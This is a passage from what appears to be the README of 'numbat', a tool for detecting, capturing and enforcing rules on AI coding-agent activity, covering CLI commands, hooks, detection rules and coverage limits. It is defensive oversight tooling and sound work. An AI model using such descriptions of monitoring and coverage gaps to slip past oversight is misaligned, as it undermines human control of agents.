class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"tool_call_id\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>tool-doc-codex-enforce-01<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"tool_name\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>create_file<span class=\"pl-pds\">\"<\/span><\/span>\n}<\/pre>\n<\/div>\n<\/details>\n<p dir=\"auto\">See the <a href=\"https:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/rule-catalog.md\">built-in rule catalog<\/a> for other<br \/>\ndetected behaviors.<\/p>\n<p dir=\"auto\">The <a href=\"http:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/cli.md#the-record-stream\">CLI reference<\/a> defines the complete record<br \/>\ncontract, flags, and sinks. For rollout patterns and output durability, see<br \/>\n<a href=\"https:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/deployment.md\">docs\/deployment.md<\/a>.<\/p>\n<ul dir=\"auto\">\n<li>Inventory and investigation: <code>agents<\/code>, <code>scan<\/code>, and <code>timeline<\/code><\/li>\n<li>Live capture: <code>hook install<\/code>, <code>hook status<\/code>, <code>hook uninstall<\/code>, and <code>collect<\/code><\/li>\n<li>Record delivery: <code>ship<\/code><\/li>\n<li>Rule development: <code>rules check<\/code>, <code>rules list<\/code>, and <code>rules test<\/code><\/li>\n<li>Case bundles: <code>case build<\/code> and <code>case verify<\/code><\/li>\n<\/ul>\n<p dir=\"auto\">Run <code>numbat --help<\/code> for the complete command list or<br \/>\n<code>numbat help &lt;command&gt;<\/code> for flags. See the <a href=\"https:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/cli.md\">CLI reference<\/a> for<br \/>\nrecord modes, sinks, and exit codes.<\/p>\n<p dir=\"auto\"><code>scan<\/code>, <code>collect<\/code>, <code>hook EVENT<\/code>, <code>hook install<\/code>, and <code>rules check|list|test<\/code><br \/>\naccept <code>--rules-dir DIR<\/code> (repeatable) to add operator rules or replace embedded<br \/>\nrules by id.<br \/>\nUse <code>--no-builtin-rules<\/code> for an operator-only catalog. Full flag and output<br \/>\nreference: <a href=\"https:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/cli.md\">docs\/cli.md<\/a>.<\/p>\n<ul dir=\"auto\">\n<li><a href=\"https:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/agent-coverage.md\">Agent coverage<\/a>: supported artifacts, live capture,<br \/>\nenforcement, and known gaps.<\/li>\n<li><a href=\"https:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/cli.md\">CLI reference<\/a>: commands, flags, records, sinks, and exit codes.<\/li>\n<li><a href=\"https:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/live-capture.md\">Live capture<\/a>: hook and OTLP setup.<\/li>\n<li><a href=\"https:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/deployment.md\">Deployment<\/a>: install scope, trust, fleet rollout, and<br \/>\noutput delivery.<\/li>\n<li><a href=\"https:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/enforcement.md\">Enforcement<\/a>: blocking semantics and failure behavior.<\/li>\n<li><a href=\"https:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/rules.md\">Rules<\/a>: custom rule format, CEL fields, tests, and sequences.<\/li>\n<li><a href=\"https:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/rule-catalog.md\">Built-in rules<\/a>: shipped detection coverage.<\/li>\n<li><a href=\"https:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/schema\/v0.2.0\">Record schemas<\/a>: JSON Schemas for the current wire format.<\/li>\n<\/ul>\n<p dir=\"auto\">The <a href=\"https:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/agent-coverage.md\">coverage matrix<\/a> documents support and known gaps<br \/>\nper agent, including deferred stores, fidelity limits, and root overrides.<br \/>\nNative Windows uses vendor-defined profile and AppData paths; WSL uses a<br \/>\nseparate Linux home. numbat never executes agents or commands found in<br \/>\nartifacts, and it makes outbound requests only to configured HTTP sinks.<\/p>\n<p dir=\"auto\">At-rest reconstruction is not disk or memory acquisition and cannot recover<br \/>\nactivity an agent did not persist. Findings are rule matches, not proof of<br \/>\ncompromise. Case-bundle manifests establish internal consistency; unsigned<br \/>\nbundles do not prove source authenticity or completeness.<\/p>\n<p dir=\"auto\">Records can retain sensitive endpoint and agent context after redaction. See<br \/>\n<a href=\"https:\/\/github.com\/perplexityai\/numbat\/blob\/main\/SECURITY.md\">SECURITY.md<\/a> for the threat model and private vulnerability<br \/>\nreporting.<\/p>\n<p dir=\"auto\">See <a href=\"https:\/\/github.com\/perplexityai\/numbat\/blob\/main\/CONTRIBUTING.md\">CONTRIBUTING.md<\/a> for the development workflow, CI gates,<br \/>\nand architecture constraints.<\/p>\n<p dir=\"auto\">Apache License 2.0. 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